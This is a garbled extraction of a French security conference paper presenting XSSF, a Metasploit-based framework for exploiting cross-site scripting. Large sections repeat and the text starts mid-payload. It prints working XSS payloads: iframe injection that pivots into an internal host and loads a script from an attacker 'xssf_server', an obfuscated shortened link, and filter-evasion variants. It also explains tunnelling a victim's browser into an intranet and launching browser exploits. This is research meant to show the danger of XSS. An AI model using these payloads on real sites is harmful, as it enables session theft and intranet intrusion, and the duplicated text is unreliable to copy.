style= margin 0px padding 0px height 175 border none display

block width 100 border none overflow -y hidden overflow -x hidden

frameborder =0 scrolling =autogt ltiframe gtrsquo

ltscript gt

Le code precedent va permettre de charger deux IFRAMES dans la page ndash La premiere permet de realiser le rebond vers lrsquoapplication interne et de lier

la victime au serveur XSSF On notera qursquoil est aussi possible drsquoutiliser unmodule XSSF pour realiser le rebond Ici pour plus de simplicite le rebond sefait directement lors de lrsquoattaque La victime liee a XSSF est donc directementreconnue comme etant sur le domaine vulnerable http1921681180

ndash La seconde permet de re-afficher la page a lrsquoutilisateur avec un ID de contenumultimedia valide le laissant ainsi visionner la video De plus la page etantmaintenant chargee dans une IFRAME et le rebond dans une autre lrsquoutilisateurpeut continuer a naviguer (par les liens de la page) sans que la connexion avecXSSF ne soit rompue Bien entendu les IFRAMES sont configurees afin que lestyle de la page soit inchange

13 httpfrwikipediaorgwikiLoi Creation et Internet

330 XSSF demontrer le danger des XSS

Bien que fonctionnelle si cette URL est envoyee en masse ou par envois ciblesles chances sont assez grandes pour que lrsquoutilisateur se doute qursquoun code est inseredans lrsquoURL De plus comme la solution contient plusieurs niveaux de guillemets (rsquordquo 22) nous utiliserons donc un encodage numerique (pour les caracteres entre lesbalises ltscriptgt ) pour ne pas creer drsquoerreurs drsquointerpretation par le navigateur

httpwwwsite-de-streamingcomstreamingphpname=death_tunnelamp

movie_id_url=2943ampp1=trueampp2=falseampp3=falseampp4=falseampp5=trueamp

p6=falseampp7=falseamppage=movie_streamingamptime=1303948281772ampp=2943gt

ltscriptgteval(StringfromCharCode(10011199117[]623959))

ltscriptgt

Des parametres ont ete ajoutes afin de deplacer la partie effectivement malicieusedu code pour qursquoelle nrsquoapparaisse pas dans la barre drsquoadresses du navigateur On peutpour finir raccourcir le lien afin de lrsquoenvoyer plus simplement httpgooglZ1jI9

Maintenant que nous avons realise le rebond XSS afin de garder la victime leplus longtemps possible et que celle-ci est liee par le domaine vulnerable http

1921681180 nous allons pouvoir passer a la tunnelisation par XSS Dansles reseaux informatiques un tunnel est en fait une encapsulation de donnees drsquounprotocole reseau dans un autre Pour faire la comparaison avec les XSS on ne parlerapas de protocoles mais plutot drsquoencapsulation de requetes HTTP dans du JavaScriptLe but de la manipulation etant donc de naviguer a partir du navigateur de lrsquoattaquantsur une application du reseau interne normalement inaccessible depuis lrsquoexterieur

Le principe de notre tunnel est simple puisque la SOP autorise la victime aeffectuer des requetes sur le domaine vulnerable actuel ( http1921681180 )nous allons nous en servir comme proxy afin de naviguer sur son domaine a sa place

Lrsquoattaquant va donc pouvoir configurer son navigateur pour passer par XSSFcomme proxy et realiser une requete sur le domaine http1921681180 (1)La requete HTTP est ensuite envoyee au serveur drsquoattaque (2) qui srsquooccupe de latransformer en requete comprehensible par la victime (3) une simple requete enAJAX suffit Toutes les requetes envoyees par le navigateur sont gardees en memoiredans XSSF en attendant que la victime vienne demander ses commandes Une foisle code (requete AJAX ou liste de requetes) transmis par XSSF (4) la victime vapouvoir lrsquoexecuter (5) et recevoir une reponse du serveur interne vulnerable (6) Cettereponse sera renvoyee au serveur XSSF en tant que reponse a une attaque (7) et leserveur drsquoattaque pourra enfin retourner la reponse au navigateur (8) Lrsquoattaquantpeut ainsi visualiser le domaine comme srsquoil etait la victime puisque crsquoest elle qui varealiser toutes ces requetes

L Courgnaud 331

Figure 12 Principe du tunnel XSS

Au niveau du serveur drsquoattaque XSSF lrsquoordre de depart des requetes a executernrsquoest pas forcement le meme que lrsquoordre drsquoarrivee des reponses (la reponse a unerequete A envoyee avant une requete B peut etre recue apres celle de B) Il est doncimportant au niveau du serveur drsquoidentifier chacune des requetes envoyees par lenavigateur afin de ne pas inverser les ressources demandees

Bien evidemment le proxy nrsquoest pas aussi rapide qursquoun proxy normal car le serveurdrsquoattaque doit attendre que la victime demande des commandes avant de pouvoireffectuer une requete Un moyen efficace est de regler lrsquointervalle de demandes decommandes depuis la victime avec une petite valeur (1 ou 2 secondes)

Pour le moment le proxy gere plutot bien tout types de ressources en GET eten POST sur des domaines en HTTP Quelques problemes subsistent encore pourlrsquoutilisation sur des domaines en HTTPS avec des navigateurs ne supportant pas leHTML5 (problemes enonces dans la partie 23) Lrsquoutilisation du tunnel dans cetteminorite de cas risque de srsquoaverer impossible

On remarquera pour finir que sous Internet Explorer 6 (encore tres utilise 14) lapolitique de la SOP nrsquoinclut pas de regles pour les documents ouverts localement il est donc possible de realiser une attaque demandant drsquoouvrir un fichier malicieux(HTML + JavaScript) en local et ainsi de ne pas avoir a se soucier de la SOP Graceau tunnel on peut donc naviguer sur nrsquoimporte quel site et profiter des sessions dejaouvertes de la victime sur differentes applications

14 httpie6countdowncom

332 XSSF demontrer le danger des XSS

VICTIME

APPLICATION_WEB METASPLOIT ATTAQUANT NAVIGATEUR

Transformation de la requecircte en JavaScript (XMLHttpRequest)

Transformation de la requecircte 1 en JavaScript

Transformation de la requecircte 2 en JavaScript

Intranet httpintranetindexphp

Demande de code agrave exeacutecuter

Etc

Proxy XXXXY

GET httpintranetindexphp

GET httpintranetindexphp

Mise en attente du code JavaScript agrave exeacutecuter

Demande de code agrave exeacutecuter

200 Envoi du code agrave exeacutecuter

Exeacutecution du code coteacute client

Envoi des reacutesultats

200 OK

Reacuteponse au GET (httpintranetindexphp)

GET httpintranetpage1php

Mise en attente du code agrave exeacutecuter

GET httpintranetimagejpg

Mise en attente du code agrave exeacutecuter (concateacutenation au code deacuteja existant)

XMLHttpRequest

SOP OK Reponse OK

Figure 13 Fonctionnement de XSSF Tunnel

5 Protections limites et contournements

Les vulnerabilites de type XSS sont connues depuis de nombreuses annees etbien que beaucoup de techniques existent pour srsquoen proteger elles sont souvent peuappliquees voire jamais sur certaines applications Ce manque de protections estsouvent du a lrsquoidee generale infondee de beaucoup de personnes pensant qursquoune failleXSS sert juste a afficher une boite de dialogue ce qui en fait est plus une preuve deconcept (PoC) qursquoune attaque en elle-meme

Mais face aux possibilites evoquees precedemment quelles sont les protectionsreelles existantes afin de se proteger efficacement

Il existe tout drsquoabord des solutions cote client souvent utilisees mais parfois in-efficaces

Filtres XSS (IE8 par exemple) Plutot efficace en temps normal mais ne fonc-tionne que pour les XSS volatiles (les plus rencontrees) Pour les XSS persistantes

L Courgnaud 333

la detection ne sera pas faite car les tests sont bases sur la requete faite au serveuret la reponse immediatement recue (on cherche si les parametres inseres sontpresents sans avoir ete filtres dans la reponse) On notera quand meme que denombreux patchs sont deja parus pour combler des breches dans ce filtre et qursquoily a donc tres probablement drsquoautres moyens de le bypasser (sans compter quecertains sites non vulnerables le sont devenus avec lrsquoutilisation de ce filtre [9] )

Bloqueurs (NoScript sur Firefox par exemple) Permet de nrsquoautoriser que lesscripts provenant de sites dit de confiance definis par lrsquoutilisateur ce qui en faitune solution assez efficace Cependant comme la majorite des sites aujourdrsquohuiont beaucoup de mal a fonctionner sans JavaScript crsquoest une solution qui devienttrop restrictive De plus du JavaScript malicieux sur un site de confiance ne serapas detecte et sera execute

Les IPS (Intrusion Prevention System) Permettent de reperer le passage dedonnees suspectes ou anormales sur le reseau et de les bloquer avant leur arriveea destination Crsquoest une solution efficace pour reduire lrsquoimpact des attaques maisqui encore une fois a ses limites tous les codes ne pouvant pas etre detectes Pireencore cette solution ne sera utile que sur des flux en clair aucun interet si lavulnerabilite se trouve sur un site en HTTPS

Ces solutions bien qursquoutiles dans la plupart des cas ne permettent pas de bloquertous les codes malicieux Crsquoest en partie du au fait qursquoun meme code JavaScript peutsrsquoecrire de nombreuses manieres differentes lrsquoempechant ainsi drsquoetre detecte par lesfiltres et autres solutions (cote client ou cote serveur)

lthtmlgtltbodygt

ltscript gt

alert (0)

alert(x30)

eval(rsquoalert (0)rsquo)

eval(StringfromCharCode (97 108 101 114 116 40 48 41 59))

var a=[x66x72x6Fx6Dx43x68x61x72x43x6Fx64x65] eval(String

[a[0]](30+67 100 -8+16 101 114 116 40 48 41 60 -1))

eval(function(packed)e=function(c)return cif(rsquorsquo replace (^

String))while(c--)d[c]=k[c]||ck=[ function(e)return d[e]]e=

function ()return rsquow+rsquoc=1 while(c--)if(k[c])p=preplace(new

RegExp (rsquobrsquo+e(c)+rsquobrsquorsquogrsquo)k[c]) return p( rsquo1(0)rsquo22rsquo|alert rsquo

split(rsquo|rsquo) 0))

334 XSSF demontrer le danger des XSS

function name(str) eval(eval(str)) name ( rsquo([]+[]) [++[]]+([]+[])

[+[]++[]]+(+[]+[]) [+[]++[]++[]]+([]+[]) [++[]]+([]+[])

[+[]]+(+[])rsquo)

document[x77x72x69x74x65](x3Cx73x63x72x69x70x74x3Ex61

x6Cx65x72x74x28x30x29x3Bx3Cx2Fx73x63x72x69x70x74x3E

)

eval(unescape(616C657274283029))

ltscript gt

ltbodygtlthtmlgt

Ces multitudes de facons drsquoecrire un meme script (ici seulement alert (0) )rendent drsquoautant plus difficile le travail pour les filtres XSS qui doivent etre concuspour bloquer toutes les possibilites drsquoinjection de code autre que celui prevu Onpeut aussi imaginer une fonction decodant des caracteres en Base64 (par exemple)qui en elle meme ne sera pas malicieuse mais qui peut recevoir une chaine mali-cieuse en entree qui ne sera pas forcement detectee par les filtres Il nrsquoest pas rarede voir 98 de code non malicieux servant a decoder les autres 2 qui eux le seront

Pour le moment il nrsquoexiste pas de solution miracle pour se proteger individuel-lement des XSS cote client Cote serveur on peut par exemple utiliser des WAF(Web Application Firewall) qui serviront a bloquer certaines XSS (meme srsquoils nesrsquoappliquent pas seulement aux XSS) Ceux-ci jouent le role de filtres appliquant uneliste de regles a respecter pour les conversations en HTTP

Heureusement il existe un moyen vraiment efficace afin de reduire la frequence derencontre de ces vulnerabilites la sensibilisation des developpeurs et des chefs deprojets afin de rendre efficaces les controles XSS cote serveur Par experience bientrop peu drsquoapplications mettent en place de vraies protections par manque de tempsde moyens et surtout de connaissances On notera que les controles sont souventrealises cote client par lrsquoapplication et peuvent se contourner assez facilement avecun proxy par exemple Dans chaque langage de programmation il existe deja denombreuses fonctions permettant de filtrer les entrees utilisateur Des protectionsplus personnelles sont souvent implementees mais srsquoaverent dans presque tousles cas inefficaces et sont facilement contournees

L Courgnaud 335

6 Conclusion

Nous avons montre dans ce papier au travers du nouvel outil XSSF que lesvulnerabilites XSS restent dans la majorite des cas plus simples a exploiter qursquoellesnrsquoy paraissent et surtout qursquoelles peuvent mener a des attaques de grande ampleur

Alors que beaucoup de personnes pensent leurs elements internes (applicationspage de configurations drsquoelements reseaux) hors de danger car restreintes drsquoacces letunnel XSS permettra de demontrer le contraire dans le cas ou un acces Internet estpossible depuis ce meme reseau

Pour le moment lrsquooutil fonctionne en environnement reel sur la majorite desnavigateurs utilises (Firefox IE Opera Safari Chrome Android Browser iOS Safari)quelle que soit la version avec une installation par defaut

Esperons donc que le projet XSSF et les autres puissent aider a faire prendreconscience des reels danger de ce type de failles encore rencontrees sur bien tropdrsquoapplications

7 Remerciements

Je tiens a remercier Imad Abounasr pour lrsquoidee de realisation du projet XSSFainsi que pour les nombreuses relectures et corrections qursquoil a apporte a cet article Jeremercie egalement Pierre Gardenat pour ses travaux concernant les XSS (notammentSSTIC 2009 et MISC 49) lesquels mrsquoont servi drsquoinspiration pour le debut du projet

References

1 WhiteHat Security WhiteHat Security 11th Website Security StatisticsReport 1er trimestre 2011 httpwwwslidesharenetjeremiahgrossman

11th-website-security-statistics-full-report-q1-2011

2 Pierre Gardenat iexclscriptiquestalert(rsquoXSSrsquo)iexclscriptiquest XSS de la brise a lrsquoouragan Actes SSTIC Juin 2009 httpactesssticorgSSTIC09XSS-_de_la_brise_a_louraganSSTIC09-article-P-Gardenat-XSS-_

de_la_brise_a_louraganpdf

3 Dafydd Stuttard Marcus Pinto The Web Application Hackerrsquos Handbook Discovering and ExploitingSecurity Flaws 2008

4 OWASP (Open WEB Application Security Project) Cross-site Scripting (XSS) 2010 httpwwwowasporgindexphpXSS

5 OWASP (Open WEB Application Security Project) Testing for Cross site scripting 2010 http

wwwowasporgindexphpTesting_for_Cross_site_scripting

6 Gunter Ollmann HTML Code Injection and Cross-site scripting 2007 httpwwwtechnicalinfonetpapersCSShtml

336 XSSF demontrer le danger des XSS

7 Wikipedia Cross-site scripting 2010 httpenwikipediaorgwikiCross-site_scripting

8 Jeremiah Grossman XSS is the New Buffer Overflow JavaScript Malware is the New Shell Code 2007httpjeremiahgrossmanblogspotcom200704xss-attacks-bookhtml

9 IE 8 XSS filter exposes sites to XSS attacks httpgoogl42CsK

  • XSSF deacutemontrer le danger des XSS
  • L Courgnaud
Page 19: XSSF : démontrer le danger des XSS - SSTIC · ow, JavaScript Malware is the new shell code ˛. Ce potentiel qu’ont les failles XSS est aussi du^ a la grande evolution des capacit

320 XSSF demontrer le danger des XSS

Figure 6 Execution drsquoune attaque XSSF sur les victimes actives

Figure 7 Execution drsquoune attaque cote victime

victime qui peut lrsquoexecuter

Bien entendu comme pour chaque module Metasploit les informations des mo-dules XSSF sont disponibles dans la console On retrouve les parametres propres aumodule (aucun dans le cas present) ceux herites du module XssfServer (Victi-mIDs) et ceux herites de MSF (le reste)

Afin drsquoillustrer le plus simplement possible le fonctionnement drsquoun module drsquoat-taque XSSF lrsquoexemple montre ici est des plus triviaux Beaucoup drsquoautres modulesdrsquoattaques sont presents le but etant drsquoamener la communaute a participer afin decreer des scenarios drsquoattaques interessants pour faire prendre conscience des possibilitesoffertes par les XSS et surtout de leur simplicite drsquoexploitation

35 Exploits MSF depuis XSSF

Afin de rendre ce framework XSS le plus complet possible et de lrsquointegrer totale-ment a MSF il est important drsquoavoir la possibilite de lancer des exploits MSF depuis

L Courgnaud 321

une vulnerabilite XSS Bien evidemment les exploits possibles sont ceux destines auxdifferents navigateurs

Le fonctionnement est relativement simple puisqursquoil suffit de lancer un exploit enprecisant qursquoil doit se lancer en tache de fond

Tous les modules lances en tache de fond sont consideres comme etant des jobs par Metasploit

Figure 8 Modules lances en tache de fond sur Metasploit

Le lancement de lrsquoattaque avec la commande xssf exploit [VictimIDs]

[JobID] entraıne la mise en attente drsquoune nouvelle attaque pour la ou les vic-time(s) choisie(s)

Figure 9 Lancement drsquoun exploit MSF sur une victime choisie avec XSSF

Ici le code sera donc bien renvoye a la victime lorsque celle-ci en fera la demandeA la suite de lrsquoexecution du code une session sera disponible et la prise de controleest effectuee avec une simple XSS ciblee

Une fois de plus crsquoest le serveur maıtre qui va gerer la facon dont sont charges lesmodules cote victime (gestion de jeux drsquoIFRAMES de scripts etc) Tous les modulesMetasploit peuvent donc etre utilises avec XSSF Ainsi une simple injection de scriptgenerique ( loop ) pourra entraıner lrsquoexecution de nrsquoimporte quelle attaque XSSFou exploit MSF sur nrsquoimporte quelle victime

322 XSSF demontrer le danger des XSS

36 Automatisation des attaques

Il est possible grace au framework XSS drsquoautomatiser les attaques a lancer Cecipermet de placer automatiquement une liste drsquoattaques dans la file drsquoattente de toutesles nouvelles victimes Lrsquoattaquant nrsquoa ainsi pas a lancer les attaques a chaque foispour une victime ou un groupe de nouvelles victimes

Les attaques automatiques peuvent etre de nrsquoimporte quel type (XSSF ou exploitMSF) et les modules correspondants doivent etre lances en tache de fond avant deles rajouter en attaque automatique

37 Fiabilisation des attaques

Comme pour les attaques applicatives il est important de fiabiliser une attaqueXSS afin de garder une connexion avec la victime apres son depart de la pagevulnerable Ce maintien de la connexion nrsquoest pas assure par le framework mais parses modules Pour le moment il existe un seul module de fiabilisation (ghostifyrb)mais de nouveaux peuvent venir se rajouter Celui actuellement present permetdrsquoanalyser la page afin de remplacer les hyperliens de type ltagt et de rajouterune fonction lors drsquoun clic Ainsi lorsque lrsquoutilisateur quitte la page en suivant unlien une fenetre (de petite taille) est ouverte et placee en arriere plan permettant degarder lrsquoutilisateur sur la page malicieuse

On peut imaginer drsquoautres modules de ce type avec par exemple un modulepermettant de recharger la page actuelle dans une IFRAME afin de toujours garderlrsquoutilisateur sur le meme domaine

38 Resultats et statistiques drsquoattaques

Figure 10 Page HTML de resultats drsquoattaques

Enfin pour venir completer lrsquoutilisation du framework lrsquoimportation des resultatset statistiques drsquoattaques est rendue possible grace a la commande xssf import attacks

L Courgnaud 323

Figure 11 Statistiques drsquoattaques en temps reel

[VictimID] Le framework se charge de generer dynamiquement une page de logs(au format HTML) comprenant les attaques envoyees et les reponses recues ainsiqursquoune page de statistiques actualisees en temps reel

39 Recapitulatif par rapport a lrsquoexistant

Lors du debut du projet XSSF il y a a peu pres un an certains outils existaientdeja Cependant la possibilite drsquoutiliser Metasploit afin de realiser des exploits cibleset lrsquointegration drsquoun tunnel ont etes les elements declencheurs a la realisation drsquounnouvel outil En effet ces deux elements permettent de montrer des possibilites moinsconnues et plus redoutees dans les entreprises (un vol de cookie dans un reseauinterne depuis lrsquoexterieur etant inutile)

XSSShellXSSTunnel

BeEF XeeK XSSF

Codes sup-portes

JavaScriptVBScript

JavaScriptVBScript

JavaScriptVBScript

JavaScriptVBScriptHTML

Base dedonnees

MS Access Fichiersimple

MySQL SQLite3MySQLPostgreSQLetc (cellessupporteespar RubyOn Rails)

324 XSSF demontrer le danger des XSS

XSSShellXSSTunnel

BeEF XeeK XSSF

Serveur IIS 5 ousuperieur

Quelconquesupportantle PHP

Quelconquesupportantle PHP

Embarquefourni parRuby

Taille to-tale ducode (sansles mo-dules)

env 310Ko env 400Ko env 250Ko env 65Ko

Taille ducode ini-tialementenvoye auxvictimes

326Ko 43Ko 169Ko 51Ko

Chargementdynamiquedes at-taques

Non (toutesenvoyeesdirectementau debut etexecutees surdemande)

Oui Oui Oui

Constructiondrsquoun liencontenantune seuleattaqueXSS

Non Non Oui(construc-tion drsquouneURLspecifiquea une seuleattaque oua une listedrsquoattaques)

Oui (dela mememaniere queles exploitsMSF)

Prise encharge desexploitsMSF

Non Oui (redirec-tion de la vic-time vers leserveur drsquoat-taque MSF)

Non Oui (di-rectementdans XSSFen tantque serveurmaıtreesclave)

L Courgnaud 325

XSSShellXSSTunnel

BeEF XeeK XSSF

Langages Portabilite

ASPNET -Windows

PHP - Por-table

PythonPHP -Portable

Ruby - Por-table

Client gra-phique

Oui (webet appli-catif pourXSSTunnel)

Oui (web) Oui (web) Oui (web etJava)

Clientconsole

Non Non Oui (inspireede MSF)

Oui (celle deMSF)

Multi-attaquants

Oui Oui Oui Oui(XMLRPC +Armitage)

Attaquesautoma-tiques

Non Oui Oui Oui

TunnelXSS

Oui (Instal-lation drsquouneapplicationWindows)

Non Non Oui (Bi-naire)

Obfuscationde code Bypass desfiltres XSS

Non Non Non Non

Generationde rapports

Non (logs af-fiches a lavolee )

Non (logs af-fiches a lavolee )

Oui Oui

SeparationClient Serveur

Non Non Oui Non

326 XSSF demontrer le danger des XSS

XSSShellXSSTunnel

BeEF XeeK XSSF

Ajout pos-sible drsquoat-taques(sansconnais-sance dunoyau)

Difficilement(en dur dansle code)

Oui Oui Oui (mo-dules)

Gestion parmodules

Non pasde notionde modulesfonctionsJavaScriptintegrees aucode

Oui (3 fi-chiers parmodules [jsphp et txt]

Oui (un fi-chier js parmodule)

Oui (un fi-chier rb parmodule)

Gestion demasse desvictimes

Oui Difficilement(utilisationde sqlite3donc drsquounfichier avecdes acceslimites)

Oui Oui

Installation Informationspour la BDet le serveurIIS a entrerdans unfichier deconfigura-tion

Mise enplace desfichiers surun serveurweb

Informationssur la BDet le serveura modifierdans le code

InstallerMSF ety copierles fichiersXSSF

Table 3 Comparaison de XSSF par rapport aux outilsexistants

Note cette comparaison a ete realisee avec la version de BeEF avant son portageen ruby (debute en octobre 2010) Certains elements ne sont plus a jour notamment

L Courgnaud 327

concernant lrsquointegration des attaques Metasploit qui semble etre meilleure Pourlrsquoinstant la nouvelle version est en beta et ne fonctionne pas totalement crsquoest pour-quoi lrsquoancienne version a ete gardee pour cette comparaison Le projet XSSShell XSSTunnel nrsquoest plus maintenu son auteur ayant rejoint le projet BeEF Quant auprojet XeEK il ne semble pour lrsquoinstant plus evoluer

Bien evidemment le gros avantage de XSSF par rapport aux autres est sonintegration dans un outil deja tres connu et enormement utilise pour les tests drsquointru-sion Lrsquoinstallation de XSSF est relativement simple et nous esperons pour le futurune integration officielle dans le Framework Metasploit Pour finir lrsquointeret majeurpar rapport aux outils actuellement existants est la possibilite drsquoutiliser un tunnelXSS afin de recuperer les pages (du domaine vulnerable) telles qursquoelles sont vues parla victime

4 Rebond et tunnel XSS

Dans cette section nous allons voir en detail une fonctionnalite importante offertepar le plugin XSSF interessante malgre les limitations de la SOP lrsquoencapsulation derequetes dans un tunnel XSS Nous verrons au travers drsquoun exemple concret lrsquoutiliteque peut avoir un rebond lors drsquoune attaque XSS et notamment lors de la mise enplace drsquoun tunnel XSS

Le principe choisi pour lrsquoexemple est simple lrsquoattaquant ayant connaissance drsquouneXSS (volatile) situee sur une application drsquoun reseau interne veut etre capable de na-viguer sur le domaine vulnerable a partir de son propre navigateur Bien evidemmentlrsquoattaquant nrsquoa aucun acces au reseau interne et de ce fait aucun acces a lrsquoapplicationLrsquoexemple choisi est base sur une vulnerabilite XSS obtenue avec une installationpar defaut de WampServer 11 mais pourrait etre reproduit exactement de la memefacon avec une XSS sur une interface web drsquoun element reseau (routeur firewalletc) ou les controles sont souvent negliges et les identifiants par defaut inchanges La vulnerabilite est donc presente sur la page httplocalhostlang=en alrsquointerieur du parametre lang

La premiere chose a laquelle on peut penser est drsquoattaquer une ou plusieurspersonnes internes au reseau (ayant acces a lrsquoapplication vulnerable) de deux manieressimples

11 httpwwwwampservercom

328 XSSF demontrer le danger des XSS

ndash Envoi (en masse) drsquoune URL contenant le code malicieux ( httpxssf_

serverloop ) vers la page du reseau interne ndash Facilement detectable par les victimes potentiellesndash Forte probabilite que la victime ne reste pas connectee bien longtemps

ndash Mise en place drsquoun site malicieux par lrsquoattaquant ndash Facilement detectable par les victimes potentiellesndash Temps de connexion dependant entierement de lrsquoattrait du site malicieux

Quelle que soit la methode retenue on constate qursquoil y a beaucoup de chancesde perdre le lien avec les victimes assez rapidement La duree de vie drsquoune XSSetant intimement liee a la duree drsquoaffichage de la page la contenant il va donc falloirtrouver une solution afin drsquoaugmenter les chances que la victime reste connecteeplus longtemps permettant ainsi a lrsquoattaquant de realiser plus drsquoactions dans la duree

Crsquoest donc la tout lrsquointeret drsquoun rebond nous allons utiliser un site (vulnerable)de grande consultation afin de rendre lrsquoattaque moins suspecte et de garder un tempsde connexion plus long avec les victimes Generalement un rebond consiste a attaquerune machine par lrsquointermediaire drsquoune autre machine afin de masquer les tracespermettant de remonter a lrsquoattaquant par exemple Pour les XSS un rebond consistea se servir drsquoune XSS sur un domaine afin de rebondir et drsquoacceder a drsquoautres domainesvulnerables Bien evidemment a cause de la SOP il sera impossible de rebondir surdrsquoautres domaines non vulnerables aux failles de type XSS Il est donc forcement plusinteressant drsquoexploiter une XSS sur une page ayant une courte duree de vie (page dereseau interne etc) a partir drsquoune page ayant une duree de vie plus longue (reseausocial page multimedia etc)

Par le passe on trouve plusieurs exemples de ce type dont un demontre a laBlack Hat 2010 12 Le chercheur dans son communique intitule How I met yourgirlfriend a montre comment localiser une personne grace a une XSS sans se servirde son IP Il se sert en fait drsquoune faille XSS sur un site pour rebondir sur une failleXSS dans lrsquointerface drsquoadministration des routeurs FiOS (Verizon) dans laquelle ilse connecte avec les identifiants par defaut (souvent inchanges) afin de recupererlrsquoadresse MAC du routeur Puis il utilise les nouveaux services Google pour retrouverles coordonnees GPS des victimes Bien evidemment il avait aussi un acces total atoute la configuration du routeur

12 Conference organisee sur le theme de la securite informatique

L Courgnaud 329

Pour en revenir a notre probleme la prochaine etape est donc de debusquer unsite vulnerable aux failles de type XSS ou les personnes visees seront susceptiblesde rester assez longtemps pour que lrsquoattaquant puisse realiser le maximum drsquoactionsTache plutot simple au vu de la frequence de rencontre des XSS et au vu de lafrequentation grandissante des sites a contenu multimedia illegaux suite a la miseen place de HADOPI 13 Utilisons donc la page httpwwwsite-de-streaming

comstreamingphpp=2943 par exemple dont le parametre vulnerable p vanous permettre de rester lies avec la victime plus longtemps

Dans un premier temps on peut donc injecter directement un script liant lavictime a XSSF p=2943gt20ltscript20src=httpxssf_serverloopgt

ltscriptgt Probleme le contenu multimedia ne sera pas charge en raison delrsquoutilisation drsquoun mauvais ID et lrsquoutilisateur sera averti du mauvais fonctionnementde la page

Nous allons donc inserer directement un code un peu plus complexe en realisantle rebond vers le serveur interne vulnerable

http wwwsite -de -streamingcom streamingphpp=2943 gt ltscript gt

documentbodyinnerHTML = rsquoltiframe width=0 height =0 src=http 19216811

lang=en22lt script src =22 http xssf_server 8888 loop22gtltscript gtgt

ltiframe gtltiframe src=http wwwsite -de -streamingcomstreamingphpp=2943

style= margin 0px padding 0px height 175 border none display

block width 100 border none overflow -y hidden overflow -x hidden

frameborder =0 scrolling =autogt ltiframe gtrsquo

ltscript gt

Le code precedent va permettre de charger deux IFRAMES dans la page ndash La premiere permet de realiser le rebond vers lrsquoapplication interne et de lier

la victime au serveur XSSF On notera qursquoil est aussi possible drsquoutiliser unmodule XSSF pour realiser le rebond Ici pour plus de simplicite le rebond sefait directement lors de lrsquoattaque La victime liee a XSSF est donc directementreconnue comme etant sur le domaine vulnerable http1921681180

ndash La seconde permet de re-afficher la page a lrsquoutilisateur avec un ID de contenumultimedia valide le laissant ainsi visionner la video De plus la page etantmaintenant chargee dans une IFRAME et le rebond dans une autre lrsquoutilisateurpeut continuer a naviguer (par les liens de la page) sans que la connexion avecXSSF ne soit rompue Bien entendu les IFRAMES sont configurees afin que lestyle de la page soit inchange

13 httpfrwikipediaorgwikiLoi Creation et Internet

330 XSSF demontrer le danger des XSS

Bien que fonctionnelle si cette URL est envoyee en masse ou par envois ciblesles chances sont assez grandes pour que lrsquoutilisateur se doute qursquoun code est inseredans lrsquoURL De plus comme la solution contient plusieurs niveaux de guillemets (rsquordquo 22) nous utiliserons donc un encodage numerique (pour les caracteres entre lesbalises ltscriptgt ) pour ne pas creer drsquoerreurs drsquointerpretation par le navigateur

httpwwwsite-de-streamingcomstreamingphpname=death_tunnelamp

movie_id_url=2943ampp1=trueampp2=falseampp3=falseampp4=falseampp5=trueamp

p6=falseampp7=falseamppage=movie_streamingamptime=1303948281772ampp=2943gt

ltscriptgteval(StringfromCharCode(10011199117[]623959))

ltscriptgt

Des parametres ont ete ajoutes afin de deplacer la partie effectivement malicieusedu code pour qursquoelle nrsquoapparaisse pas dans la barre drsquoadresses du navigateur On peutpour finir raccourcir le lien afin de lrsquoenvoyer plus simplement httpgooglZ1jI9

Maintenant que nous avons realise le rebond XSS afin de garder la victime leplus longtemps possible et que celle-ci est liee par le domaine vulnerable http

1921681180 nous allons pouvoir passer a la tunnelisation par XSS Dansles reseaux informatiques un tunnel est en fait une encapsulation de donnees drsquounprotocole reseau dans un autre Pour faire la comparaison avec les XSS on ne parlerapas de protocoles mais plutot drsquoencapsulation de requetes HTTP dans du JavaScriptLe but de la manipulation etant donc de naviguer a partir du navigateur de lrsquoattaquantsur une application du reseau interne normalement inaccessible depuis lrsquoexterieur

Le principe de notre tunnel est simple puisque la SOP autorise la victime aeffectuer des requetes sur le domaine vulnerable actuel ( http1921681180 )nous allons nous en servir comme proxy afin de naviguer sur son domaine a sa place

Lrsquoattaquant va donc pouvoir configurer son navigateur pour passer par XSSFcomme proxy et realiser une requete sur le domaine http1921681180 (1)La requete HTTP est ensuite envoyee au serveur drsquoattaque (2) qui srsquooccupe de latransformer en requete comprehensible par la victime (3) une simple requete enAJAX suffit Toutes les requetes envoyees par le navigateur sont gardees en memoiredans XSSF en attendant que la victime vienne demander ses commandes Une foisle code (requete AJAX ou liste de requetes) transmis par XSSF (4) la victime vapouvoir lrsquoexecuter (5) et recevoir une reponse du serveur interne vulnerable (6) Cettereponse sera renvoyee au serveur XSSF en tant que reponse a une attaque (7) et leserveur drsquoattaque pourra enfin retourner la reponse au navigateur (8) Lrsquoattaquantpeut ainsi visualiser le domaine comme srsquoil etait la victime puisque crsquoest elle qui varealiser toutes ces requetes

L Courgnaud 331

Figure 12 Principe du tunnel XSS

Au niveau du serveur drsquoattaque XSSF lrsquoordre de depart des requetes a executernrsquoest pas forcement le meme que lrsquoordre drsquoarrivee des reponses (la reponse a unerequete A envoyee avant une requete B peut etre recue apres celle de B) Il est doncimportant au niveau du serveur drsquoidentifier chacune des requetes envoyees par lenavigateur afin de ne pas inverser les ressources demandees

Bien evidemment le proxy nrsquoest pas aussi rapide qursquoun proxy normal car le serveurdrsquoattaque doit attendre que la victime demande des commandes avant de pouvoireffectuer une requete Un moyen efficace est de regler lrsquointervalle de demandes decommandes depuis la victime avec une petite valeur (1 ou 2 secondes)

Pour le moment le proxy gere plutot bien tout types de ressources en GET eten POST sur des domaines en HTTP Quelques problemes subsistent encore pourlrsquoutilisation sur des domaines en HTTPS avec des navigateurs ne supportant pas leHTML5 (problemes enonces dans la partie 23) Lrsquoutilisation du tunnel dans cetteminorite de cas risque de srsquoaverer impossible

On remarquera pour finir que sous Internet Explorer 6 (encore tres utilise 14) lapolitique de la SOP nrsquoinclut pas de regles pour les documents ouverts localement il est donc possible de realiser une attaque demandant drsquoouvrir un fichier malicieux(HTML + JavaScript) en local et ainsi de ne pas avoir a se soucier de la SOP Graceau tunnel on peut donc naviguer sur nrsquoimporte quel site et profiter des sessions dejaouvertes de la victime sur differentes applications

14 httpie6countdowncom

332 XSSF demontrer le danger des XSS

VICTIME

APPLICATION_WEB METASPLOIT ATTAQUANT NAVIGATEUR

Transformation de la requecircte en JavaScript (XMLHttpRequest)

Transformation de la requecircte 1 en JavaScript

Transformation de la requecircte 2 en JavaScript

Intranet httpintranetindexphp

Demande de code agrave exeacutecuter

Etc

Proxy XXXXY

GET httpintranetindexphp

GET httpintranetindexphp

Mise en attente du code JavaScript agrave exeacutecuter

